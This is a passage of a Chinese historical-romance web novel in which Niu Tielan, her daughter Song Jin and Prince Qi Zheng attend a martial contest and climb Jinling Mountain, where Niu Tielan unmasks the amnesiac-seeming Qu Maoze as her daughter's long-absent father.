那时候的牛铁兰刚知道自己怀上了孩子,虽然面对未来依旧忐忑迷茫,但她已经买好了各种布料线头,做着小鞋襁褓,一片母爱泛滥 她自小在全是女孩的女园长大,只照顾过不少年幼的小妹妹,小男孩还是第一次碰上,她见着那手脚露出大半、衣服破破烂烂的小男孩,想嘱咐什么,也不知道该如何嘱咐 她只是替他修理头发,缝补衣服做鞋垫, 又温声细语地教他学会这些,这样他日后便自己照顾好自己,不用头发乱糟糟的不会梳理,也不用衣服破了小了都一无所知了 那对于牛铁兰来说只是艰难路上的小插曲,一点儿也不起眼,但是对于齐铮来说,却是日复一日灰色生活中难得出现的彩色 齐铮以前的生活并不算好,即便他的养父武功高强,想赚钱的办法很多,但是他依旧像个苦行僧一般,日日重复枯燥的练功,带着他靠脚走遍南北 他吃的是粟米虫蛇野菜,饿不着,味道也绝不算好;他穿的又是再普通不过的布衣,只要还能穿,便是小了坏了也将就 养父倒也不是故意折腾齐铮,而是他就是这般过来,也不觉得有什么不对。他从来不会说什么温情话,最温情的话,也就是齐铮累哭的时候说上一句 ‘这点累都吃不了,一边休息去’ 但是他在看出齐铮对人的眷顾后,把那原计划的一日同行改成了五日;他在知道自己命不久矣的时候,宁愿提前结束盛名,也要将内力全部传给了齐铮,让其日后不被欺负 他也成功了 因为高深的内力,齐铮闯荡江湖这么多年,虽然乱七八糟的事情不少,但从没被任何人打伤过 只不过他也习惯了一个人,到哪里都是一个人 不好也不坏 直到那日遇到宋商,弄清了身世,找到了失散多年的家人 但亲娘已逝,亲爹为天下共主,所谓兄弟也不过是潜在的敌人,周围的人来来往往也不带两分真心 虽然有些矫情,但这天下之大,齐铮确实找不到一个家,也看不到一个归途 而牛铁兰和宋锦母女俩,有他幼时难得的彩色温情,也有他羡艳难寻的情谊,他的目光总是会不由自主地被两人吸引 一开始是牛铁兰,再然后是母女之间的相处,到现在确实灿若流火的宋锦 齐铮看着明显呆愣的母女俩,从怀中掏出一个小盒,盒子里石块简单黑色石块,玉质剔透,他轻扬嘴角,但是到底不太适应,转瞬又压了回去,恢复庄肃的模样,轻声道 “这是永焰下聚成的暖石,夏日是普通玉石,到了冬日会散热,我想很适合夫人。夫人当年赐我生活之本,今日一块小石,夫人切莫推辞” 牛铁兰也没想到还有这么一番往日,不过若是如此,相识以来齐铮的和善便是说得通了,她有些感慨,也替他高兴,她轻笑 “原来是你啊,不过是些缝补之法,哪儿用得着特意一说?殿下切莫破费” 齐铮手伸在半空不动,继续:“夫人是看不上这个?那边算了,府中还有冬暖夏凉的佩玉,我改日谴人送去” 这就有些耍赖了 牛铁兰无奈之余,又有些感动,还想再劝一番,玉石已经被抓到了她手里 宋锦合上她的手,眸光细碎,压不住扬起的嘴角:“娘,人殿下也不缺这点东西,推来推去多不好啊,是吧,岐王殿下?” 齐铮目光落在她扬起的嘴角上,神色松了下来,眼中染上笑意,道:“郡主说得是,夫人就别推辞了。除了夫人,我给郡主也准备了一份贺礼,希望郡主收下” 他又拿出一个小盒,盒子里,金黄的小老虎昂着脑袋,比起昨夜,肉眼可见地多了几分明亮灿烂 宋锦难得地有些磨蹭,她缓缓伸手,有些慢吞吞地把东西接了回来,眼神溜溜转悠,飘忽中带着些心虚 “岐王殿下,大气” 齐铮眼中带笑,语气带着些许调侃:“谢郡主夸奖” 宋锦没法反驳,她低下脑袋,摸着玉石上金黄的小老虎,嘴角不自觉地一点点扬了起来 牛铁兰看着两人如此模样,脸上的笑容顿了顿,眉头微微蹙起,那些感动欣慰一点点褪去,转而变成了忧虑 而就在此时,戴文华撕心裂肺的吼声响彻整个武场,惊散了他们各自的思绪,只留下了吵闹 “矛泽道长上场了” “矛泽道长,你一定要赢” “矛泽道长,五百两!你赢了我再加五百两” …… 正要上场的曲茂泽表情一点点僵住 他当日就该让这小子去死的 第62章 金铃花开正盛 道馆名叫归一馆,专门教道法气功,每年都会收到上百名的学子 很多人只是图个好玩,进来学个一两个月,得了个名头又继续其他的 也有人是真心喜欢,一年两年,十年二十年,致力于道学传播,将一个个道学院建满天下 这需要信仰的同时也少不了钱,所以,道学院不比道观,收人是要收费的,一般按照两月来收,除了会教育道学以外,还会教些基础的汉字算数 不少人其实也是为了识字来的 但不管是为了什么,道学院都来者不拒,能传点是一点 宋锦即便穿越一世,又经历了末日,其实也不信这些,在她看来,这些都只是另一种能量的转换,至于其中原理定义什么的,她不感兴趣 什么人与自然、什么随心、什么五行,都不比那拳打脚踢拳拳到肉来得痛快 她坐在位置上,侧过身子对着齐铮,低着声音,一双眼命明明亮亮,里面全是幸灾乐祸,道:“你说,他是会先断腿断脚断肋骨,还是直接碎了脑袋?” 不管是哪一个,听起来都让人心情愉快啊 齐铮嘴角一抽,委婉:“我觉得,曲公子会赢” 虽然这些日子下来没探出曲茂泽的根底,但就凭他这段时间的表现,这人也绝对不是什么冲动的人,不可能说为那么五百两就跑出来冒险 他既然敢上来,就说明他有十足的把握 曲茂泽肯定是有功夫的,就是不知具体深浅了 齐铮这次过来,就是想看看他的具体招式,也能估测一下他的具体情况 曲茂泽藏得太深了 一般来说,假装失忆很容易被戳穿,因为人总有各种下意识的反应藏不住,还有生活十来年的小习惯、口音,但是曲茂泽没有 他一口官话标准得不带一点口音,根本猜不出他本身的来历,他的反应和习惯就更别说了,他什么都会一点,什么都知道一些 破绽太多了又真就符合了失忆的身份 有问题也就算了,这年头有问题的人可太多了,只要老老实实,其实很多东西也很难查出来 但是曲茂泽并不老实,顶着那张招摇的脸和可疑的名字,就像生怕他们发现不了他的可疑似的,总是往这边撞过来,想让他们不在意都不行 这段时日下来,结合各方反应,齐铮心中隐隐有所猜测,但是又拿不出证据,只能继续观望,本想着今日能探出点什么,没想到今日过来会遇上宋锦母女俩 他本来还在纠结该如何上门,现在看来不用了 他低声问:“夫人的病,如何了?” 宋锦眼眸暗了暗,很快又扬起了笑容,小声嘀咕:“一会儿再和你说 ,先看看那人,我倒是要看看他的狐狸尾巴能藏得多深” 齐铮看着她有些灰扑扑的笑,轻轻点头,看向比武台上 台上,曲茂则身形颀长,身板结实,走到哪儿都说得上高大二字,但是在对面的武馆学子面前黯然失色,那人肉眼可见地超过了两米,宛如两个曲茂泽一般,那捏着的拳头上青筋暴起,看着就满是力道 武子看着曲茂泽,狰狞一笑:“小子还是认输吧,免得到时候伤到性命” 他在武学院都是排名前几的人,以往也是和那些有名的道长们比 那些个道长看似不起眼,一身的气功相当厉害,他们你来我往,有输有赢,但是不管输赢总是有数,受伤也大不了歇几天,没什么大事 但面前的曲茂泽入馆没多久,没个名气,看起来也没什么劲,他还真担心一拳下去把人给打死 要不是这次有五百两的赌,他也不会厚脸皮上来欺负一个新人 但是没办法,那可是五百两啊 丢脸就丢脸吧,不磕碜 因为戴元华鬼哭狼嚎的狗叫声,曲茂泽的脸色不是很好,他眉眼紧绷,眼神冷淡,面对对手的好意,轻轻拱了拱手 “胡兄,来吧” 胡武子见曲茂泽如此,也不在纠结了,想着他一会儿下手收着点就是了,反正那五百两,他势在必得,那就速战速决吧 说着,他往前一步,冲着曲茂泽就一拳下去 他手臂本就粗壮,在这一瞬间更是膨胀了起来,遒劲得像是那树根,带着长年累月的气势直直砸下,让人毫不怀疑他能一拳打爆脑袋 曲茂泽站在原地一动不动,看起来像是被吓傻了一般 在场胆小些的人已经尖叫着闭上了眼 下一刻,喧闹的道场死一般寂静了下来,没有半点声音,好一会儿陆陆续续传来无语的嗤笑声 “就这?” “浪费我10文钱” “什么武馆高手啊” …… 在这些奇怪的声音中,那些闭上眼的人睁开眼,就见本以为会被打碎脑袋的曲茂泽端然而立,而那宛如城墙一般的胡武子确实无声倒在地上,一动不动,看起来像是死了一般 “矛泽道长赢了,我就知道你肯定会赢” “矛泽道长也太厉害了” “矛泽道长我要拜你为师” …… 寂静嗤笑之间,戴元华鬼哭狼嚎一般的吼叫声重新响起 也不知曲茂泽做了什么,让他这般崇拜 宋锦看着比武台上毫发无损的曲茂泽,目光落在突然倒下的胡武子身上,眉头紧皱,她低声询问:“看出什么没有?” 齐铮摇头:“看起来就是胡武子气血上涌,自己晕了” 但是这不可能 胡武子作为武馆前十的厉害人物,平日定会注意这些,更别说今日这种事关五百两经费的关键时刻。 可要说曲茂泽动了什么手脚,众目睽睽之下,他全程站着,只是在那人打拳过来的时候,一个闪身后绕,身体没有和他有任何接触 至于隔空伤人,他便是内力再深厚,胡武子那一身的肌肉也不是白长的 宋锦也想不通,她低喃:“这人到底是来头啊” 接近她们又到底是为了什么? 但不管为了什么,他能这般悄无声息伤人,太危险了 宋锦侧过头看向自家娘亲,低声:“娘,我们回去吧,没什么好看的” 牛铁兰目光落在台上,眼神微动 她这些日子下来,不仅身体恢复得格外神速,就连视力也远比以前好了,她之前还以为是错觉,现在看来并不是了 那人…… 牛铁兰静静看着台上的曲茂泽,拒绝了宋锦的提议,并且拿出她以往最喜欢用的借口,淡淡道:“这么早回去干嘛?几棵破竹子有那么好看?” 宋锦嘴角一抽:“我们去别的地方玩” 牛铁兰淡淡:“自己去吧,我还没看完” 寻常百姓的钱也是辛苦赚回来的,既然出了看比武的钱,就不可能只看这么个半柱香不到的闹剧 曲茂泽和胡武子的比武结束得突然 武馆和道馆的负责人都觉得有些莫名其妙,但还是很有默契,将两人带下之后,很快就派出了新人上场 重新上来的两人自然不比曲茂泽二人有看头,却也不差 他们一个魁梧一个秀气,一个外放一个内敛,各自行礼之后,便开始了比武。两个人拳脚功夫很不一般,拳打脚踢、你来我往,互相较劲比拼,还不忘展示花样,一会儿空翻一下踩桩,引得大家惊叫连连 牛铁兰不走有其他原因,但她确实也很久没见过这般花样和热闹了,她认认真真地看着两个正经打斗,看得杏眸微亮,脸上也染上三分笑意,恰如清荷绽放,清雅明媚 “夫人看起来心情不错” 曲茂泽在牛铁兰旁边的空位坐下,他看着武台上赤着上身打斗的两人,嘴角轻扬,“真是好雅兴” 牛铁兰头都没回,继续看着台上,恰到好处地为其鼓了鼓掌,眼中带笑,声音凉凉:“还行,比你打得热闹些,我还以为你会被一拳打回记忆,看样子是没希望了” 曲茂泽笑:“夫人说笑,那一拳下去,不说恢复记忆,在下怕是要带着记忆去下辈子了。不过胡兄偏这个时候发病,让我一点展示的机会都没有,也是不凑巧了,扰了夫人的雅兴,真是遗憾” 他说到最后语音又拉长了一些,听起来暧昧又带着些意味深长 牛铁兰转头,看着他依旧一副淡然模样,突然一笑:“这么遗憾?也不是不能弥补,金金想和你比斗很久了,要上去试试?” 本来还在一边嘀咕的宋锦瞬间来了劲,亮着双眼,掰着指节,扯着嘴角似笑非笑:“试,不试是王八” 她倒是要看看这和人怎么让她也莫名晕倒 看着她蠢蠢欲动的模样,曲茂泽脸色一僵,很快低笑一声掩饰过去,道:“夫人说笑了,在下还是有自知之明的,就我这点武艺,哪里能和宋小姐比?我就不去献丑了,不过,宋小姐若是有兴趣,可以上去比一比” “道观几个长老今日都在,踢馆应该挺有意思的” 宋锦眼睛更亮了:“真的?” 这下轮到牛铁兰脸上笑容落下,她一把抓住宋锦的手腕起身:“真什么真,走了,打来打去的烦都烦死了” 宋锦撇嘴:“那也比两棵破竹子好看” 但多说无益,牛铁兰一点也不想那些茶楼说书人继‘宋家女勇战英国公,大闹三清观之后’又有了‘昨日封郡主,今日挑道院’‘论郡主和道学的三生恩怨’一类的说书内容 她的脸也是脸啊 眼看着母女俩相继离开,曲茂泽含笑起身,冲着齐铮一鞠:“殿下,今日风顺水美,若无他事,不如一同游玩一番?这都城偌大,日日紧绷,岁岁提心,倒不如随心顺意,珍惜岁时” 齐铮缓缓起身,瞥着面前之人,正经说道:“我与郡主和夫人相识,一同出游合情合理,你又凭何?” 曲茂泽神色一顿,随即坦然一笑:“凭借脸皮一二?” “……” 齐铮转头就走 他们步伐大,没一会儿就跟上了牛铁兰和宋锦 母女俩站在一边和马师傅说着话,主要是牛铁兰在说,她温声细语:“今日麻烦您了” 马师傅红着一张黑脸,摆着手:“哪有哪有,多大点事,还得多亏夫人你们帮我,不然这一车粮食还不知道浪费多少。看你们这是不继续看了?要不多逛一下,一会儿吃个饭再走,今日有难得的金辉鱼,很好吃的” 牛铁兰笑着拒绝:“马师傅太客气了,不过我们还有事,等下次再来尝” 马师傅自然看出她的拒绝意思,叹着气,有些失落难受,但也不觉奇怪,他又说了两句客套话,耷着脑袋回去后厨忙活了 曲茂泽嘴角噙笑,眸色深深:“夫人可真受欢迎” “关你屁事”宋锦看着这些个试图勾搭自家老娘的臭玩意儿就烦,绕过来挤开他,没好气道,“该去哪儿去哪,我们回家了,是不是娘?” 牛铁兰没说话,她抬头看了看天,天色蔚蓝,不见半片云朵 今日天色格外漂亮 她道:“去爬山吧” 宋锦一愣,不情愿道:“大热天爬什么山啊,娘,你身体不好,我陪你回去看竹子去……” 牛铁兰只道:“好多年没爬过山了” 宋锦动了动嘴皮,一肚子的话一瞬便咽了下去,她立马跳了起来,压下那些不情愿,带着灿烂笑容提议:“爬,就去爬山,等下个月就冷下来了,现在不爬什么时候爬?城里有好几座山,我想想,嗯” 宋锦想了想想不出来,干脆问一旁的齐铮:“岐王觉得哪座山 好玩一点?” 这可真问住他了,齐铮一番思索 曲茂泽扬着嘴角,眸光深深地看着牛铁兰,提议:“不如去金陵山?现在金铃花开正盛,正是赏花好时节” 牛铁兰瞥着他意味不明的神色,倏然一笑:“曲公子再三提起,想来应该很熟,不知可愿为我们带路?” 曲茂泽眸色,声音缓缓:“为夫人带路,是在下的荣幸” 牛铁兰嗤笑一声,转身朝前走去 宋锦眯着眼睛,警惕又狐疑,看看她娘,再转头看看曲茂泽,再看看曲茂泽,再盯着人,眉头皱得都快要夹苍蝇了 曲茂泽像是看不出她的疑惑一般,冲着她笑了笑,便越过她走到牛铁兰身侧,两个人并肩走着 宋锦站在原地,伸手指着自己,气笑了:“他这是在挑衅我吧?” 齐铮安抚:“应该不是,他笑得和善” 宋锦冷笑:“这玩意儿刚才就应该被打死才对,我刚才就不应该光看着” 齐铮叹气:“别气了,你娘走远了” 宋锦不语,她抬头看过去,两人并肩走着,嘴唇轻动,也不知道在说些什么,但看起来郎才女貌,宛如画卷 她重重抓了抓头发,狠狠咬牙,带着些不确定地问道:“这玩意儿应该不可能是我那死鬼爹吧?” 齐铮没法安慰 这种事,谁说得准呢 第63章 是人还是鬼? 庆安三年,阮金玲在湿冷的春雨中走了半月,总算走出了那囚禁她十年的女园 淅淅沥沥的春雨不间断地下着,一路在山涧逃窜的阮金玲浑身湿透,衣服更是被草木划得破破烂烂,连带着脸上脖子也有或深或浅的红痕,乌黑的秀发用木棍子随意的捆着,凌乱的碎发一摞一摞地顺着贴着脑袋 连续半个月的奔波,她的脚腕红肿,脚底全是水泡,整个人累得不行,她小心翼翼地蹲坐在草丛里,用枝叶把自己盖住,紧张地看着道路上奔走的人马 惊慌之下,又难掩好奇 那是一群训练有素的人,他们骑着强健的马匹,一个个健硕高大,腰挂佩刀,拉着缰绳策马奔腾,很是英俊 尤其是带头的男人,看着二十上下,五官俊美,眉眼染着坚毅,凤眸清亮,身着一身白衣,更是衬得他宛如天上神君,霁月光风,正直忠毅 女园人来人往,守着的男人要么丑陋不堪,像是地里蹦哒的□□,要么眼神浑浊,如同腐烂的尸体,恶臭恶心 阮金玲已经很久从没见过这么俊美的男人,或者说是人了 她想起了她爹,但是十年过去,她已经想不起她爹的模样了,只记得应当也是个俊美温和的男人,他会抱着她坐在肩头,也会握着她的手教她识字,会一声声温和地喊着她囡囡 而她娘,再更早之前就已经不在了 荒淫的帝王带不出正直的朝臣,整个朝廷从内到外都腐烂个彻底,乱世之中人如草芥,普通杂草生于地上抬脚可踩,漂亮的兰草被摘于花房,随手碾死 阮金玲瑟缩间将自己藏得更加严实,生怕被这些人发现了 但事与愿违,随着那哒哒的马蹄声停在附近,嘈杂的脚步声朝着她的方向靠近,她便知道自己被发现了 她想也不想地重新钻入山林,打算开启另一场新的逃难 至于一路上带的干粮所剩无几,她的体力濒临极限,再次进山她可能无法像之前那般顺利的活着 她也顾不上了 人死后由外向内腐坏恶臭,让人畏惧,但是人活着一动不动,也不过是从内而外一点点糟碎腐烂 阮金玲只想跑 她跑得远远的,便是跑不过,她也要跑 她像是赤兔一般穿梭在丛林,拼尽了全力越过了山坡,直到身后不再有搜寻的声音,她的脸上露出两分笑容,一口气刚松下来 一人从天而降,直接落在了她的面前 看着那俊美宛如神君的人,阮金玲心中撑着她奔走的气也随着消散,她一个腿软直接倒地,宛如被猎物抓住的林间小鹿,惊慌无措 那段时间的一路逃窜颠簸,让她清瘦不少,本就巴掌大的脸蛋下巴尖尖,一双杏眸无端瞪大,里面写满了惊慌茫然,像是见了什么极为可怕的东西一般 …… 她喃喃:“你到底是人还是鬼?” 曲茂泽被按在树上,低头看着攥着他衣襟的人,忍不住闷笑出声,语气带着揶揄:“夫人觉得呢?” 那一年,惊慌宛如小鹿一般的阮金玲带着些祈求地看着他,轻声问他是不是神仙? 现如今,早已脱离往日困境、改名换姓的牛铁兰强硬地把他这‘不知根底’的男人按在树上,强势扯开他的衣襟,问他是人是鬼 时间啊,真是这世间最奇妙的东西 曲茂泽仰头闷笑出声,头顶的枝叶稀疏,细碎的阳光照在他清朗俊美的脸上,比起记忆中那张宛如神祇一般淡漠的脸庞,更多了些鲜活气 牛铁兰攥着他的衣襟,怔怔地看着敞露的胸口,皮肤洁白无瑕,没有数不清的交错疤痕,更没有什么浅淡的青痣 她眼眸湿润,有些不可思议地看着笑得正欢的人,手上力道逐渐收紧,声音从牙缝里传来 “你到底是谁?” 曲茂泽收了笑,低下头,和仰头的牛铁兰相望,看着那双湿润的杏眸,他眸色渐深,慢条斯理地咬着字 “夫人这问的,让我都分不清我们到底是谁失忆了。在下曲茂泽,同夫人一路从上杨村回来,夫人就忘了吗?还是说” 牛铁兰怔怔地看着他 他轻挑眉头,嘴角一点点扬起,带着两分揶揄:“夫人又把我当成谁了?虽然夫人貌美如花,但在下家中说不定也有如花美眷相待,您这样,怕是不合适吧?” 牛铁兰仿若被烫到一般,立马松开了拉着他衣服的手,但是不过一瞬,她又压着人按了回去,伸手往他脸上抓 温热的,皮骨皆在,没有什么乱七八糟的脂粉 是一张正正经经的真人 若是这般又怎么会 牛铁兰不信邪,她对着曲茂泽戏谑的神情,扯开他的腰带 曲茂泽闷笑着按住她的手,声音缱绻:“夫人,这不太好吧?在下现在正是年轻气盛的时候,您这样考验人不太合适吧?这金陵山上人来人往,嗯,您若真想,不如改日换个地方” 牛铁兰一把抽回手后退两步,咬着唇,恶狠狠地瞪着这人:“你到底是谁?” 完全不被他牵着走 曲茂泽轻轻叹气,悠悠:“在下曲茂泽啊” 牛铁兰看着他这幅模样,怒火一点点涌上心头,更多的却还是无力,她低下了脑袋,转过头朝着山坡下走去 金陵山上栽满了大小不同的金铃树,秋日树叶发黄,宛如一片片金叶子,飘满山坡,而花开又如一串串金色铃铛,挂在金色叶片下,在秋风中叮叮作响 满山的金铃花盛开,汇在一起搭起一座富丽的金山 牛铁兰一路走到了下面的溪流旁边,找了个草垛坐下,脱了脚下的鞋袜,将脚丫探到了水中 秋日已来,溪水微凉 她下意识抬起脚尖,玉足赛雪,细腻柔滑,轻点微凉的水面,她脚趾修长匀称,脚踝轻轻舒展,脚背微微弯上,宛如弓曲一般顺滑,漂亮得宛如画中一般 她就坐在绿草上,踮着脚试试了几下,等到适应了水温之后,才把两只脚都放入溪水中,轻轻拧着脚丫,舒展着走了一路的脚掌 曲茂泽站在她身后,低头看着水中俏皮的脚丫,轻笑:“溪水清凉,夫人小心风寒” 牛铁兰没有回头,她捡起一块指甲大小的水贝,感受着流水的温滑,她低低道:“风寒算什么?我这些年哪日不是吃药渡过?以前吃药觉得烦,现在还要吃起虫子,我这辈子,吃过最多的果然还是还是苦” 曲茂泽眼眸微动,轻声安慰:“先苦后甜,夫人日后必定是吃不完的甜” 牛铁兰没说话,她双手搭在脖子上,径直躺下靠在草地上,垂着眼睛,身上带着浓烈的忧郁怅然,她轻轻一嗤 “以后?谁说得准还有没有?” 她以为自己早就逃出了女园,结果逃了十来年身上还是带着烙印,不知能不能取下 她一个人自然能多活一日就算一日,怎么也不亏,但若哪天她不在了,她闺女一个人怎么办? 那孩子本来性子就不好,警惕心又强,这么多年下来看起来和谁都说得上话,但是真放到心上的没有两个。哪天若是她不在 了,光是想着那孩子一个人孤孤零零的模样,牛铁兰一颗心都攥在一起,纤长的眼睫上也沾上了湿意 她抬起头,杏眸湿润泛着红意,对上曲茂泽幽深的眸子,她轻轻吸了吸鼻子,鼻尖微红,脆弱中带着祈意:“你真的不管她?她从小就没爹,只有我一个人” 曲茂泽蹲下身子,伸出手,骨节分明的指背轻轻拭过她的眼角,轻轻叹息一声 “太假了” 牛铁兰面色僵住 曲茂泽捻了捻指尖湿润,眼中带着笑意,声音悠长:“夫人这些年日子应该过得不错,演技比起当日,差得不是一点半点” 此话一出,牛铁兰一个翻滚起身,一个用力把人扑倒在地,掐着他的脖子,狠狠磨着牙,声音从牙缝中出来 “我就知道是你这混蛋,这么玩有意思吗?有意思吗?” 曲茂泽闷笑:“这不是挺有意思的吗?” 牛铁兰一直以为这人已经死了,即便之前以为这个曲茂泽是那人的儿子,自己当初被他骗了,也恨不起来 结果这人这么多年以来好好的不说,这段日子还装模作样逗弄她们,现在被戳穿了还是这番无事人的样子 牛铁兰气疯,伸手就往他身上挠,怒骂着:“混蛋混蛋,你个杀千刀的王八蛋,你有本事装死你有本事藏一辈子,要死就好好死,现在出来,你想干什么,我们母女俩过得好好的,一点都不想看到你……” 曲茂泽脖子被掐着,白皙的皮肤一点点染上红意,也多了不少抓痕,他嘴角噙着笑,就这样任由牛铁兰发泄,直到珠串般的泪滴滚下,断断续续砸下 他抬手抚着她的眼角,没一会儿手上就湿漉漉的了,他轻轻叹息 “这次哭,是高兴还是,失望?” 牛铁兰哭意顿住,清透的泪层蕴在眼间,一串串落下,也藏住了眼中的不可思议,她低下头看着这个往日同床共枕的男人,看着他十数年不变的容貌,看着他漆黑凤眸下的平静 她重燃的焰火被一盆冰水覆上,激动的情绪也一点点缩了下去 牛铁兰低下的眼眸视野模糊,流水宛如溪流,一点点变换,落下了就收不回来了,她嘴唇颤了颤,一下抬起头,修长细腻的脖子轻仰,青紫色的脉络流动,她抬起衣袖擦去脸上湿意,也盖住脸上神情 良久 她深深吸气,一点点呼了出来,再三下来,重复几次,她有些踉跄起身,重新蹲到河边,赤着脚,掀起清水上脸 冰凉的溪水就像是那年的雨水一般,打在身上透心的凉,却又让人很快清醒过来 牛铁兰看着水面上自己模糊的脸,不再说话,她默默地拿起一旁的鞋袜穿上,轻轻捏了捏有些发软无力的脚,深吸一口气,重新站了起来 转过身 曲茂泽半坐在草地上,被她那一番挠打,他的衣服有些凌乱,发间藏草叶,但却不显丝毫狼藉,他手肘放在膝上,嘴角噙着笑,仿若刚才什么都没有发生一般,静静地看着她 “好些了吗?” 牛铁兰鼻子一酸,她努力压了下去,嗤笑:“我有什么不好的?我一个人以前活得好好的,以后也是,我有房有田有地有钱,还有个郡主闺女,有什么不好的?倒是你,又是失忆又是装傻,一副要死不活的样子。啧,看起来这些年过得也一般” 曲茂泽见她如此,轻轻一笑:“这都能猜到,夫人真是冰雪聪明” 这不痛不痒的模样,牛铁兰磨了磨牙,继续嘲讽:“你知道就好,我不管你现在这装模作样的到底想干什么,但别想连累我和金金,以后离我们远点” 曲茂泽叹息:“夫人这也太无情了些,都说夫妻本是同林鸟,大难临头各自飞” 牛铁兰脱口而出:“无媒无聘,谁和你是夫妻了?” 曲茂泽顿了一下,戏谑:“夫人这是在提醒我什么?” 牛铁兰恼:“我提醒你去死,要死记得死远一点,别想着牵连我们母女” 曲茂泽悠悠:“行吧,那我换个说法,好歹野鸳鸯一场,还有了孩子,唉,夫人这些年不声不息的,未免也太无情了一些” 牛铁兰心中一梗,很想上去给他一脚,努力提醒自己冷静冷静,好半天,她开口:“知道我无情就好,那些往事过去就过去了,看在金金的份上,那五十两银子不用还了,以后就当没见过。不管你是死是活,都跟我们没有关系” 说着,她迈开步子直接走人 一番情绪起伏,她腿脚有些酸软无力,脚上水也没有擦干,踩在草地上有些打滑,一个没注意就跌在地上 曲茂泽叹着气过来 牛铁兰咬咬牙,抬着手肘推开人,手脚并用地站了起来,在金色的金铃花下,一路跌跌撞撞向上 却再也不似当年阮金玲那般无依无靠 曲茂泽轻笑着站在坡下,看着一袭火红衣裙的少女赶到她身边,像是小狼崽一样恶狠狠地瞪了过来,好半天,才不情不愿地被拽着离开 一直到两人身影消失 他脸上笑容一点点消失,抬手抚了抚脖上的伤痕,舌尖抵了抵齿根,声音轻不可闻 “真是恶人先告状啊” 第64章 家家都有难念的经 “叮叮叮” 枝头金铃花轻轻摇晃,树下牛铁兰抱着膝盖,杵着下巴盯着前方 杂草野花间两只蝴蝶穿寻,活泼翩然,旁边的灰色蜻蜓点着尾巴,看起来木楞呆板,与此同时蟋蟀在旁边弹跳,螳螂挥着爪蠢蠢欲动,远处的雀鸟机警等待…… 没什么好看的,她就是发呆而已 远山坡上另一边,宋锦嚼着草根,蹲在摇摇欲坠的石块上,苦大仇深地盯着对面的老娘,转过脑袋,眯起眼睛 “你说,我去把那狗东西揍一顿如何?” 齐铮端端正正站在一旁,肩背挺直,一动不动,和那像猴似蹲坐着的宋锦形成鲜明对比,面对她的提问,他一言不发,只是继续看着满山的金铃花若有所思 这金陵山,之前夫子给他上课的时候也提到过。 这片山,属于私人的吧? 宋锦也不需要他说什么,在那里咬牙切齿地一番嘀咕后,又换了个姿势单脚蹲下,脚下的石块随着晃动,她也毫不在意,又是一个换脚 咔擦一声 石块脱离地面,就要带着她一起往坡下滚去 “哎哎哎” 宋锦身形晃动,下意识朝伸出手拽住点什么 齐铮神色没有丝毫变动,就这样静静地看着她张着手摇摇晃晃 “切” 宋锦脸上的慌乱瞬间消散,她撇了撇嘴,带着石块一起稳稳悬在半坡,然后跳下石头,一脚踹飞,冲 着齐铮嘟囔 “你这人可真没意思” 齐铮看着她瘪下的嘴,顿了一下,道:“会疼的” 宋锦眼珠子转:“嗯?” 齐铮戳穿她:“摔下去会疼的,我是练武不是炼铁” 宋锦嘀咕:“多大一人,还怕疼,娇气” 齐铮不语 有本事她自己摔啊 宋锦虎了点,也不会给自己找罪受,她啐掉嘴里的甜草根,拍拍手上的碎叶渣子,看看那边逐渐红下的天,又抬脚轻轻踢了踢齐铮,眼睛眨动着,暗示他去喊人 他是王爷,他去她娘肯定会给这个面子 但她是真不给面子啊,齐铮依稀记得,这人之前再是看他不顺眼,也还是老老实实喊他岐王殿下,现在才当一天郡主,她就敢上脚了,再过两月怕是就要动手了 齐铮无声叹气,抬脚朝着牛铁兰走去 她蜷坐在树下,背影消瘦,青丝随风飘动,诉着主人的愁思,飘动的金铃花也成了背景,远远看着便是一副画卷 可惜他画术非常一般,诗词水平也约等于无,形容不出来,只能说一句 漂亮 齐铮轻步走上前去,站在她身侧,看着逐渐晕红的天边,轻声道:“晚霞虽美,夫人也要注意防寒” 牛铁兰下巴杵在膝盖上,微微侧过头仰看着他 这般视角下,她素来的温婉轻柔消散大半,多了不少灵动,看起来和宋锦格外相似 她叹气:“让岐王殿下看笑话了” 齐铮:“夫人严重,家事琐碎乃常态,大到世家大族,小到茅草小屋,家家都有难念的经” 皇家更不用说了,谁提起来不得猜上两句? 对比起他家还有都城其他人家的那些破事,她这点事提起来都是碰瓷 他这么想,也这么说,更毫不遮掩地表现出来 从相识起他便一直这般实诚,沉稳又正直豁达,一如记忆中那人年轻的时候,只不过她记忆中的那人是装的,面前的王爷,却是真得不能再真了 牛铁兰对着齐铮那双真诚的眼,喃喃:“死丫头还是有点儿像我” 齐铮疑惑:“夫人说什么?” 牛铁兰摇了摇头,叹气:“只是感叹血缘神奇,无论是父子还是母女,总会有相似之处。陛下是一代圣君,殿下也清正严明,日后定能独当一面” 齐铮神色瞬间紧绷起来:“夫人慎言” 见他如此,牛铁兰却是一反常态,少了以往的恭敬,轻笑:“怕什么,又没有其他人能听到,难不成殿下要治我的罪?” “……” 亲娘俩就是亲娘俩啊 齐铮难以反驳,停顿好一会儿,还是认认真真道:“我虽是父皇亲子,但自小民间长大,对于国事家事了解甚少,又学识浅薄,从各方面来说都不合适” 牛铁兰笑:“你真这么觉得?” 齐铮点头 他确实发自内心的,不然他也不至于每日思索逃离皇城永安城的正确路线了 没办法,实在竞争不过啊 他登上皇位这件事,就如同让一个上了两年学堂的人去考状元一般荒谬 牛铁兰觉得好笑,反问:“那你以为,昨日中秋夜陛下为何独独带你一人?” 齐铮忖度后,委婉开口:“我自小走丢,年初才被找回,再加上我和父皇长得相似,身形高大几分,中秋盛宴,父皇讲究排场” 看那湖里的鱼,看那些花,那鲜亮的衣服和那个阵仗 齐铮越说越笃定,笃定得牛铁兰都忍不住捂嘴笑了出来:“你说的也有几分道理” 现在说这些也还早,就前朝那荒帝日日□□无读,就这般也都活了近六十岁才去世——还是被外力砍的头 齐烨这个明君,不重女色,不乱寻仙丹,身强体壮,多的不说,十年八年肯定轻轻松松。等到那时,面前这个尚且愣头青的人又是另一番模样了 …… “你们背着我说什么悄悄话,说这么起劲?” 眼看着两个人在这里,你来我往说半天还没个动静,宋锦忍不住了跑过来,坐在她老娘的旁边,脑袋搭在人肩膀,狐疑地看着齐铮 这人是不是在说她坏话? 而牛铁兰的情绪已经恢复了大半,她拉着宋锦那比常人大了小半的手轻捏,瞥着轻飘飘道:“我在和岐王殿下讨论哪个皇子长得最好” 宋锦恍然,瞬间加入进来,兴致勃勃开口 “首先排除掉晋王,长得本来就不高,腿和身子还一样长,又像个鹦鹉一样多话,啧,最烦的就是他了” 若是往日,牛铁兰定会按住她不说这些放肆的话,但是现在,她只是轻声:“然后呢?” 